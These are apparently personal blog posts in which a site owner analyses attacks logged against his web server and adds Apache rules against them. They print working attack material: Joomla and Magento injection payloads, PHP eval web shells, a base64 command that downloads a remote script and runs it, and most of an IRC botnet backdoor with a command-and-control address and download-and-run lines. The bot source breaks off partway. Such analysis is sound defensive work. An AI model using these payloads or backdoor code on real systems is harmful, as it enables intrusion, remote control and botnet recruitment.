An interesting injection attach via the HTTP user agent string

Looking at my web server logs this morning I noticed a new attack signature. The attacker performs a “GET /” with this “User-Agent” header:

}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:239:\"file_put_contents($_SERVER[\"DOCUMENT_ROOT\"].chr(47).\"shootme.php\",\"|=|\\x3C\".chr(63).\"php \\x24mujj=\\x24_POST['360'];if(\\x24mujj!=''){\\x24xsser=base64_decode(\\x24_POST['z0']);@eval(\\\"\\\\\\x24safedg=\\x24xsser;\\\");}\");JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}~\xd9

It’s obviously a code injection attack. Googling tells me this attack was first documented in December 2015 such as in this writeup. It’s an attempt to inject code via a Joomla CMS vulnerability. I don’t use Joomla so this doesn’t affect my site.

I already had some Apache HTTPD rules to protect against malicious user agent strings including one to detect if it begins with a left bracket:

RewriteCond %{HTTP_USER_AGENT} ^\[ [OR]

Noticing this attack suggests that generalizing that rule would be helpful. So my Apache config now contains this instead:

# If first char isn't an alphanumeric or underscore it's quite possibly an
# attempt to inject code.
RewriteCond %{HTTP_USER_AGENT} ^\W [OR]

Interesting new WordPress attack signature using POST /xmlrpc.php

Today I noticed an interesting, and hitherto unseen, attack from 5.152.192.218 which is owned by cloud provider redstation.com (or redstation.co.uk if you prefer). The attack started with this request:

POST /xmlrpc.php HTTP/1.0
Host: www.skepticism.us
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>

Note the ancient HTTP/1.0 protocol specification. The methodCall is also ill-formed causing PHP to issue a notice and warning messages about Undefined index: VALUE and Invalid argument supplied for foreach().

That request was followed by another POST /xmlrpc.php that attempted to use the system.multicall method; something I’ve never seen in an attack before now. The “multicall” methods were all wp.getCategories invocations with my user ID and various passwords. In the past six months (as far as my logs go) I only started seeing attempts to exploit wp.getCategories two days ago. And this attack was the first one to do so by using system.multicall to reduce the number of requests it had to make to test which, if any, of large number of passwords was valid

A few minutes after writing the previous text I noticed that I had in fact seen another attack employing the system.multicall method to execute wp.getCategories multiples times in a single request. That attack was from ttnetdc.com in Turkey. That attack was very different. First, it was not preceded by the demo.sayHello request. Second, the wp.getCategories calls all used the generic admin account rather than my account. Third, the XML was formatted in a more or less human readable form rather than the tightly packed sequence of tokens from the attack I saw this morning and talk about above.

Thus it appears that a general approach about how to efficiently test for valid WordPress credentials was recently documented and we’re now seeing various hackers attempt to exploit that advice.

Thailand has reached #1 in attacks against my server

The number of attacks from Thailand has been a significant fraction of the total for several months. In the past 24 hours I saw attacks from 51 address in Thailand, 241 in the past week. That exceeds the runner-up country (US) by a factor of five. Ten months ago I noted that Italy was the source of a disproportionate number of attacks.

Every single recent attack from Thailand has attempted to register a bogus WordPress account via a POST /wp-login.php?action=register request. Some piece of malware has managed to successfully infect a huge number of personal computers in Thailand and nowhere else. All of the computers are in the totbb.net domain

Below is the most recent such request. The details of the user login and email vary but the other details are pretty consistent.

P.S., I recognize that the numbers I’m reporting are insignificant compared to most web servers let alone the Internet as a whole. But that’s the point. My web server (blog) is only a little over a year old. My server is itself insignificant. Which means I have relatively little traffic to wade through. Which makes detecting some problems and trends easier.

POST /wp-login.php?action=register HTTP/1.1
Host: www.skepticism.us
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: Keep-Alive
User-Agent: Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388
Version/12.17
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png,
image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://www.skepticism.us/wp-login.php?action=register
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

user_login=PattiThorne3&user_email=pattisabj9571%40admin2%40metalchopsaw.info&redirect_to=&wp-submit=Register

Another interesting attack against the “beauty-clean” WP theme

Today I logged another attack that attempts to exploit the horribly broken (i.e., full of security holes) “beauty-clean” WordPress theme. It also exploits a misfeature of PHP that is one of hundreds of reasons that PHP needs to die. Anyone who tells me they’re proud they write most of their code in PHP is someone who probably received way too many awards as a child merely for participating.

I wrote about the first attack I noticed against this theme just two weeks ago. This most recent attack is similar yet different. It leverages the fact the WP theme creates a temporary file using the filename provided by the attacker and then doesn’t remove the file.

POST / HTTP/1.1
Referer: http://www.skepticism.us
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: www.skepticism.us
Content-Length: 409
Connection: Close

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_contact[]"; filename="resd.php"
Content-Type: text/php

<?php $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");?>45000
--(UploadBoundary)
Content-Disposition: form-data; name="yiw_action"

sendemail
--(UploadBoundary)
Content-Disposition: form-data; name="id_form"

a_3_3
--(UploadBoundary)

Here is the PHP program the hacker is attempting to install on my system:

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");

Notice the childish attempt at obfuscating the code. Removing the obfuscation we get:

preg_replace("/[discuz]/e", $_POST['h'], "Access");

OMFG! It’s going to execute whatever PHP code the attacker passes via a “h” POST parameter four times: once for each occurrence of the letters “c” and “s” in the word “Access”. So not only is the person who wrote the “beauty-clean” theme incompetent so is this hacker.

The malware a recent attack against the WordPress revslider plugin attempted to install

I’ve been seeing attempts to exploit bugs in the WordPress revslider plugin for a very long time. But all of the attacks that utilize a POST request have attempted to upload a Zip archive. And a bug in the mod_dumpio module meant I was unable to extract the contents of those zip files. Having just fixed the mod_dumpio module I was able to capture one of those zip archives. The attack was from a server at namecheaphosting.com (I’ve elided the binary zip data):

POST /tag/php/wp-admin/admin-ajax.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.skepticism.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Content-Length: 1122
Content-Type: multipart/form-data; boundary=xYzZY
Cookie:

--xYzZY
Content-Disposition: form-data; name="action"

revslider_ajax_action
--xYzZY
Content-Disposition: form-data; name="client_action"

update_plugin
--xYzZY
Content-Disposition: form-data; name="update_file"; filename="revslider.zip"
Content-Type: application/zip

PK…
--xYzZY--

And the contents of the uploaded zip file was a single file named revslider/dor.libs.php with the following content. As you can see it’s a poorly written minimalist backdoor.

<?php
echo "<title>RevSlideR 2015</title><br><br>";
$win = strtolower(substr(PHP_OS,0,3)) == "win";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4,1ON(BuSuX)";
}
else {$safemode = false; $hsafemode = "OFF(WoKeH)";}
$os = wordwrap(php_uname(),90,"<br>",1);
$xos = "Safe-mode:[Safe-mode:".$hsafemode."] 7 [OS:".$os."]";
echo "<center> ".$xos." </center><br>";

if(isset($_GET['x'])){
echo "<title>PiNDaH 2015</title><br><br>";
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/default.php";
copy($source, $desti);
}

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
        else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>

A fix for the Apache mod_dumpio module not dumping null bytes

Two weeks ago I wrote about my surprise in learning that the Apache mod_dumpio module does not dump null (i.e., zero) bytes. That shortcoming makes it difficult to analyze attacks that involve binary data such as Zip archives. That a module which claims to log all the data sent to or from an Apache web server does not actually do so is rather surprising and exasperating. Especially since the module has been around for at least nine years (earliest reference I could find was October 2006).

As recently as April 2015 someone with a Ph.D. posted on the SANS ISC forums that the Apache dumpio module could be used to log all data. It’s hard to believe that seemingly serious and highly credentialed security researchers have not noticed this module does not log all the data that passes through it. Or, for that matter, that no one else has noticed and fixed this problem in the decade since Jim Jagielski published this module.

I decided to fix this bug. Mostly because I wanted to see what the hackers were trying to upload to my server as a Zip archive in an attempt to exploit WordPress “revslider” plugin vulnerabilities. I intend to submit this updated mod_dumpio.c source code to the Apache project. In the meantime you can download it from here. If you want to install this under HomeBrew on Mac OS X send an email to krader@skepticism.us and I’ll provide guidance.

Update 2015-10-04: This Python program, error_log_data_extract, is what I use to extract and decode the data logged by the mod_dumpio module that I fixed to correctly handle null bytes. This makes it trivial to reconstruct the entire request of an attack including binary data such as Zip archives.

Attacker attempting a SQL injection via POST /admin/Cms_Wysiwyg/directive/index/ request

I’ve only seen this attack twice in the past six months (as far back as I keep logs). The first was on 2015-09-15 from domain qs.biz in Russia (RU). The most recent was today, 2015-09-24, from gigaboxhosting.net in US. This was the request:

POST /admin/Cms_Wysiwyg/directive/index/ HTTP/1.1
Host: www.skepticism.us
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2;
Accept: */*
Content-Length: 1349
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------daadfd20bc730c50

--------------------------daadfd20bc730c50
Content-Disposition: form-data; name="filter"

cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTM…
--------------------------daadfd20bc730c50
Content-Disposition: form-data; name="___directive"

e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ==
--------------------------daadfd20bc730c50
Content-Disposition: form-data; name="forwarded"

1
--------------------------daadfd20bc730c50--

The ___directive value decodes to

{{block type=Adminhtml/report_search_grid output=getCsvFile}}

The filter value decodes to

popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT = \t'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'ganteng123') ), CONCAT(':',
@SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','039efceb0a7b17b@telekpitekwashere.cok','coadmin',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = 'coadmin'),'Firstname');

A google search suggests that this attacker is trying to exploit a vulnerability in the Magento.com CMS products that has already been fixed. The attacker is clearly trying to create an administrator account with a password that they know (“ganteng123”) in order to gain control of the site.

This attack against my server is more sophisticated than the majority of attacks I’ve seen. It’s a variation of a SQL injection attack most notably illustrated by Randall Munroe at his XKCD cartoon “Exploits of a Mom”.

Attacker attempts to install minimalist backdoor via POST /license.php

This has been quite a week for novel attacks. Prior to the past few days it seemed like nearly 100% of the attacks I observed against my server fell into just a couple of categories:

1) credential guessing via /xmlrpc.php or /wp-login.php, and

2) attempts to exploit WordPress plugin “revslider” vulnerabilities to install malware to my server.

Today’s entry in the new and unusual category is from a server in the US in the colocrossing.com domain. It first attempted a POST / request which my Apache firewall rules rejected and caused the source to be blacklisted. Notice that it is attempting to install the most minimal backdoor you can imagine. It’s just a single-line PHP script that simply evaluates whatever PHP statements the attacker hands it.

POST / HTTP/1.1
Referer: http://skepticism.us
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: skepticism.us
Content-Length: 340
Connection: Close

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_contact[]"; filename="sys.php"
Content-Type: text/php

...<?php @eval($_POST["err"]);?>45000

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_action"

sendemail
--(UploadBoundary)
Content-Disposition: form-data; name="id_form"

a_3_3
--(UploadBoundary)

It was apparently trying to exploit either a WordPress plugin or malware already present on my server to create a file named “sys.php” that did nothing more than eval() whatever PHP statements it was handed in a POST request. I did a bit of googling and found a couple of WP plugins that might be relevant but was not able to definitively find a match.

When that upload failed it attempted to create the same file with the same content via a POST /license.php request.

Finally, despite my server having returned HTTP 400 and 403 statuses for all the requests it tried to see if the “sys.php” file was present and could be fetched. Notice it’s sleazy attempt to impersonate the Google web crawler:

GET /sys.php HTTP/1.1
Referer: http://www.googlebot.com/bot.html
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Host: skepticism.us
Connection: Close
Update 2014-09-24: I just saw the same attack again from someplace in Korea (no reverse DNS or WhoIs data for the address). Only this time the core of the malware is

@eval($_POST["Fktol!coco"])

Notice the POST parameter has changed from err to Fktol!coco.

Attack that tries to install wp-infos.php via POST /controllers/uploader/upload.php

I saw another novel attack today. What makes this one particularly interesting is that the first request was an attempt to upload a file named /wp-infos.php. It did so via a

POST /controllers/uploader/upload.php

request. That path might be an alternate for the ninja uploader vulnerability I wrote about yesterday.

The attacker then issued a

GET /wp-infos.php?osc=cm0gLXJmIHp1Yi4qOyBybSAtcmYgbWFyaW5hYnkqOyB3Z2V0IGh0dHA6Ly93d3cuYWVzbWkucHQvbW9vZGxlL2NhbGVuZGFyL3dwLWVuZ2luZS5id2U7IG12IHdwLWVuZ2luZS5id2UgenViLnBocDsgY2htb2QgNzc3IHp1Yi5waHA7IHBocCB6dWIucGhwOyBybSAtcmYgenViLio=

The value for the osc parameter is base64 encoded and decodes to:

rm -rf zub.*; rm -rf marinaby*; wget http://www.aesmi.pt/moodle/calendar/wp-engine.bwe; mv wp-engine.bwe zub.php; chmod 777 zub.php; php zub.php; rm -rf zub.*

I fetched the URI hosted on www.aesmi.pt using curl and to my surprise it was the exact same PHP script the attacker believed they had just installed on my system. Literally byte for byte identical.

Below you’ll find the 855 line PHP script the attacker attempted to install. There are a couple of things worth pointing out. The server this script attempts to connect to is at IP address 78.140.173.43 which has hostname v-5-509-d4122-43.webazilla.com (although the backdoor implements a “moveserver” command to allow the person controlling this bot to change the server). The “chan” is the typical hacker value “1x33x7”.

<?php
  set_time_limit( 0 );
  error_reporting( 0 );
  echo "Success!";

  class pBot
  {
    var $using_encode = true;

    var $config = array(
      'server'   => 'NzguMTQwLjE3My40Mw==',  //server here (base64)
      'port'    => 9595,
      'chan'    => 'MXgzM3g3',    //channel here (base64) DO NOT USE "#", "#lazy" = "lazy"
      'key'    => '',
      'nickform'  => 'logging[%d]',
      'identp'  => 'darxs',
      'modes'    => '+p',
      'maxrand'  => 6,
      'cprefix'  => '!',
      'host'    => 'Peter@'
    );

    var $admins = array
    (
      'LND-Bloodman' => '2cbd62e679d89acf7f1bfc14be08b045' // pass = "lol_dont_try_cracking_12char+_:P"
      //passes are MD5 format, you can also have multiple admins
    );

    function auth_host( $nick, $password, $host )
    {
      $admin_count = count( $this->admins );
      if( $admin_count > 0 )
      {
        $mpass = md5( $password );
        if( $this->admins[ $nick ] == $mpass )
        {
          $this->users[ $host ] = true;
        }
      }
      else
      {
        $this->users[ $host ] = true;
      }
    }

    function is_authed( $host )
    {
      return isset( $this->users[ $host ] );
    }

    function remove_auth( $host )
    {
      unset( $this->users[ $host ] );
    }

    function ex( $cfe )
    {
      $res = '';
      if (!empty($cfe))
      {
        if(function_exists('class_exists') && class_exists('Perl'))
        {
          $perl = new Perl();
          $perl->eval( "system('$cfe');" );
        }
        if(function_exists('exec'))
        {
          @exec($cfe,$res);
          $res = join("\n",$res);
        }
        elseif(function_exists('shell_exec'))
        {
          $res = @shell_exec($cfe);
        }
        elseif(function_exists('system'))
        {
          @ob_start();
          @system($cfe);
          $res = @ob_get_contents();
          @ob_end_clean();
        }
        elseif(function_exists('passthru'))
        {
          @ob_start();
          @passthru($cfe);
          $res = @ob_get_contents();
          @ob_end_clean();
        }
        elseif(function_exists('proc_open'))
        {
          $res = proc_open($cfe);
        }
        elseif(@is_resource($f = @popen($cfe,"r")))
        {
          $res = "";
          while(!@feof($f)) { $res .= @fread($f,1024); }
          @pclose($f);
        }
      }
      return $res;
    }

    function is_safe( )
    {
      if( ( @eregi( "uid", $this->ex( "id" ) ) ) || ( @eregi( "Windows", $this->ex( "net start" ) ) ) )
      {
        return 0;
      }
      return 1;
    }

    function get_chan( )
    {
      if( $this->using_encode )
      {
        return '#'.base64_decode( $this->config[ 'chan' ] );
      }
      else
      {
        return '#'.$this->config[ 'chan' ];
      }
    }

    function start()
    {
      if( $this->using_encode )
      {
        if(!($this->conn = fsockopen(base64_decode($this->config['server']),$this->config['port'],$e,$s,30)))
        {
          $this->start();
        }
      }
      else
      {
        if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
        {
          $this->start();
        }
      }

      $ident = $this->config['prefix'];
      $alph = range("0","9");
      for( $i=0; $i < $this->config['maxrand']; $i++ )
      {
        $ident .= $alph[rand(0,9)];
      }

      if( strlen( $this->config[ 'pass' ] ) > 0 )
      {
        $this->send( "PASS ".$this->config[ 'pass' ] );
      }

      $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
      $this->set_nick( );
      $this->main( );
    }

    function main()
    {
      while(!feof($this->conn))
      {
        $this->buf = trim(fgets($this->conn,512));
        $cmd = explode(" ",$this->buf);
        if(substr($this->buf,0,6)=="PING :")
        {
          $this->send("PONG :".substr($this->buf,6));
        }
        if(isset($cmd[1]) && $cmd[1] =="001")
        {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);

          if( $this->using_encode )
          {
            $this->join($this->get_chan( ),base64_decode($this->config['key']));
          }
          else
          {
            $this->join($this->get_chan( ),$this->config['key']);
          }

          if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
          else { $safemode = "off"; }
          $uname = php_uname();
        }
        if(isset($cmd[1]) && $cmd[1]=="433")
        {
          $this->set_nick();
        }
        if($this->buf != $old_buf)
        {
          $mcmd = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgcmd = explode(" ",$msg);
          $nick = explode("!",$cmd[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $cmd[0];
          if($msgcmd[0]==$this->nick)
          {
            for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i+1];
          }
          else
          {
            for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i];
          }
          if(count($cmd)>2)
          {
            switch($cmd[1])
            {
              case "QUIT":
              {
                if( $this->is_authed( $host ) )
                {
                  $this->remove_auth( $host );
                }
              }
              break;
              case "PART":
              {
                if( $this->is_authed( $host ) )
                {
                  $this->remove_auth( $host );
                }
              }
              break;
              case "PRIVMSG":
                if( ( substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
                {
                  if( $this->is_authed( $host ) == false )
                  {
                    switch( substr( $mcmd[ 0 ], 1 ) )
                    {
                      case "auth":
                      {
                        $this->auth_host( $nick, $mcmd[ 1 ], $host );
                        if( $this->is_authed( $host ) )
                        {
                          $this->privmsg( $this->get_chan( ), "[ auth ] Successful login from [ ".$nick." ]" );
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ auth ] Failed attempt from [ ".$nick." ]" );
                        }
                        break;
                      }
                    }
                  }
                  else
                  {
                    switch(substr($mcmd[0],1))
                    {
                      case "exec":
                      {
                        if( !$this->is_safe( ) )
                        {
                          $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
                          $returndata = $this->ex( $command );
                          if( !empty( $returndata ) )
                          {
                            $this->privmsg( $this->get_chan( ), '[ exec ] '.$returndata );
                          }
                        }
                        break;
                      }
                      case "info":
                      {
                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                        }
                        $this->privmsg( $this->get_chan( ), '[ info ] '.php_uname( ).' ( SAFE: '.$safemode.' )' );
                        break;
                      }
                      case "safe":
                      {
                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                        }
                        $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
                        break;
                      }
                      case "uname":
                      {
                        $this->privmsg( $this->get_chan( ), '[ uname ] '.php_uname( ) );
                        break;
                      }
                      case "perl":
                      {
                        if( $this->is_safe( ) )
                        {
                          $this->privmsg( $this->get_chan( ), '[ dropperl ] Safe mode is ON' );
                          break;
                        }

                        $perl_file = $mcmd[1];

                        if( !empty( $perl_file ) )
                        {
                          $parsed_url = $this->parse_url_s( $perl_file );

                          $new_remote = $parsed_url[ 'scheme' ].'://'.$parsed_url[ 'host' ].$parsed_url[ 'dir' ].'/';
                          $new_local   = $parsed_url[ 'file' ];
                          $file_type  = $parsed_url[ 'file_ext' ];

                          $this->ex('cd /tmp;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*')
                          $this->ex('cd /dev/shm;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*')
                          $this->ex('cd /tmp;rm -rf *'.$file_type.'**');
                          $this->ex('cd /dev/shm;rm -rf *'.$file_type.'**');

                          $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$new_remote.$new_local );
                          break;
                        }

                        $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$perl_file );
                        break;
                      }
                      case "ip":
                      {
                        $this->privmsg( $this->get_chan( ), '[ ip ] '.$_SERVER['SERVER_ADDR'] );
                        break;
                      }
                      case "rfi":
                      {
                        $fileUrl = $mcmd[1];

                        if( !empty( $fileUrl ) )
                        {
                          $urli = parse_url( $fileUrl );

                          if( !empty( $urli['host'] ) && !empty( $urli['path'] ) && !empty( $urli['query'] ) )
                          {
                            $fp = fsockopen( $urli['host'], 80, $errno, $errstr, 5 );

                            if( $fp )
                            {
                              $out = "GET /".$urli['path'].$urli['query']." HTTP/1.1\r\n";
                              $out .= "Host: ".$urli['host']."\r\n";
                              $out .= "Keep-Alive: 300\r\n";
                              $out .= "Connection: keep-alive\r\n\r\n";
                              fwrite( $fp, $out );

                              $get_data = '';

                              while(!feof($fp))
                              { $get_data .= fgets( $fp, 256 ); }

                              $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$fileUrl );
                              break;
                            }
                          }
                        }

                        $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$fileUrl );
                        break;
                      }
                      case "base64":
                      {
                        $str_ed = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
                        switch( $mcmd[1] )
                        {
                          case "encode":
                          {
                            $this->privmsg( $this->get_chan( ), "[ base64 ] encode [ '".$str_ed."' -> '".base64_encode($str_ed).
                            break;
                          }
                          case "decode":
                          {
                            $this->privmsg( $this->get_chan( ), "[ base64 ] decode [ '".$str_ed."' -> '".base64_decode($str_ed).
                            break;
                          }
                        }
                        break;
                      }
                      case "md5":
                      {
                        $str_md5 = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
                        $this->privmsg( $this->get_chan( ), "[ md5 ] [ '".$str_md5."' -> '".md5($str_md5)."' ]" );
                        break;
                      }
                      case "dns":
                      {
                        if(isset($mcmd[1]))
                                         {
                                            $ip = explode(".",$mcmd[1]);
                                            if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
                            && is_numeric($ip[2]) && is_numeric($ip[3]))
                                            {
                                               $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyaddr($mcmd
                                            }
                                            else
                                            {
                                               $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyname($mcmd
                                            }
                                         }
                        break;
                      }
                      case "exit":
                      {
                        fclose( $this->conn );
                        exit( );
                        break;
                      }
                      case "restart":
                      {
                        $this->privmsg( $this->get_chan( ), "[ restart ] executed by [".$nick."]" );
                        $this->send( "QUIT :restart command from ".$nick );
                        fclose( $this->conn );
                        $this->start();
                        break;
                      }
                      case "bs":
                      {
                        if( $this->is_safe( ) )
                        {
                          ini_restore( "safe_mode" );
                          ini_restore( "open_basedir" );
                        }

                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                          $this->set_nick();
                        }
                        $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
                      }
                      case "moveserver":
                      {
                        if( count( $mcmd ) > 3 )
                        {
                          $server = $mcmd[1];
                          $port = $mcmd[2];
                          $channel = $mcmd[3];
                          $key = $mcmd[4];

                          if( $this->using_encode )
                          {
                            $this->config[ 'server' ] = base64_encode( $server );
                            $this->config[ 'chan' ] = base64_encode( str_replace( "#", "", $channel ) );
                            $this->config[ 'key' ] = base64_encode( $key );
                          }
                          else
                          {
                            $this->config[ 'server' ] = $server;
                            $this->config[ 'chan' ] = str_replace( "#", "", $channel );
                            $this->config[ 'key' ] = $key;
                          }

                          $this->config[ 'port' ] = $port;
                          $this->privmsg( $this->get_chan( ), "[ moveserver ] ".$server." => ".$port." => ".$channel." =>
                          $this->send( "QUIT :moveserver command from ".$nick );

                          fclose( $this->conn );
                          $this->start();
                        }
                        break;
                      }
                      case "whois":
                      {
                        $param2 = $mcmd[1];

                        if( !empty( $param2 ) )
                        {
                          //do it
                          //http://ws.arin.net/whois/?queryinput=127.0.0.1
                          $fp = fsockopen( "ws.arin.net", 80, $errno, $errstr, 30 );

                          if( $fp )
                          {
                            $out = "GET /whois/?queryinput=$param2 HTTP/1.1\r\n";
                            $out .= "Host: ws.arin.net\r\n";
                            $out .= "Keep-Alive: 300\r\n";
                            $out .= "Connection: keep-alive\r\n\r\n";
                            fwrite( $fp, $out );

                            $whodata = '';
                            while(!feof($fp))
                            {
                              /*do nothing*/
                              $whodata .= fread( $fp, 1024 );
                            }

                            $explk = explode( "<div id=\"content\">", $whodata );
                            $explk = explode( "</div>", $explk[1] );
                            $htmldat = strip_tags( $explk[0] );

                            fclose( $fp );

                            $this->privmsg( $this->get_chan( ), "[ whois ] $htmldat" );

                          }else{
                            $this->privmsg( $this->get_chan( ), "[ whois ] Error: $errstr" );
                          }
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ whois ] Invalid params, use .whois <ip/host>" );
                        }
                        break;
                      }
                      case "upftp":
                      {
                        //ftp://user:password@host.com
                        $pftp = parse_url( $mcmd[1] );
                        $file = $mcmd[2];
                        $dest = $mcmd[3];

                        if( empty( $pftp[ 'host' ] )
                          || empty( $pftp[ 'user' ] )
                          || empty( $pftp[ 'pass' ] )
                          || empty( $file )
                          || empty( $dest ) )
                        {
                          $this->privmsg( $this->get_chan( ), "[ upftp ] URL line invalid!" );
                        }
                        else
                        {
                          $conn_id = ftp_connect( $pftp[ 'host' ] );
                          $login_result = ftp_login( $conn_id, $pftp[ 'user' ], $pftp[ 'pass' ] );

                          if( ( !$conn_id ) || ( !$login_result ) )
                          {
                            $this->privmsg( $this->get_chan( ), "[ upftp ] FTP connection failed!" );
                          }
                          else
                          {
                            $this->privmsg( $this->get_chan( ), "[ upftp ] Connected to ".$pftp[ 'host' ]." for user ".$pftp[ 'user
                            $upload = ftp_put( $conn_id, $dest, $file, FTP_BINARY );
                            if( !$upload )
                            {
                              $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload faled!" );
                            }
                            else
                            {
                              $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload success!" );
                              $this->privmsg( $this->get_chan( ), "[ upftp ] Uploaded '".$file."' to '".$dest."'" );
                            }
                          }
                        }
                        break;
                      }
                      case "joinchan":
                      {
                        $channel = $mcmd[1];
                        $key = $mcmd[2];
                        $this->privmsg( $this->get_chan( ), "[ joinchan ] ".$channel." => ".$key );
                        $this->join( $channel, $key );
                        break;
                      }
                      case "partchan":
                      {
                        $this->privmsg( $this->get_chan( ), "[ partchan ] ".$mcmd[1] );
                        $this->send( "PART ".$mcmd[1] );
                      }
                      case "vuln":
                      {
                        $server_name = $_SERVER['SERVER_NAME'];
                        $req_uri = $_SERVER['REQUEST_URI'];

                        if( $server_name != "localhost" && $server_name != "127.0.0.1" )
                        {
                          if( strlen( $server_name ) && strlen( $req_uri ) )
                          {
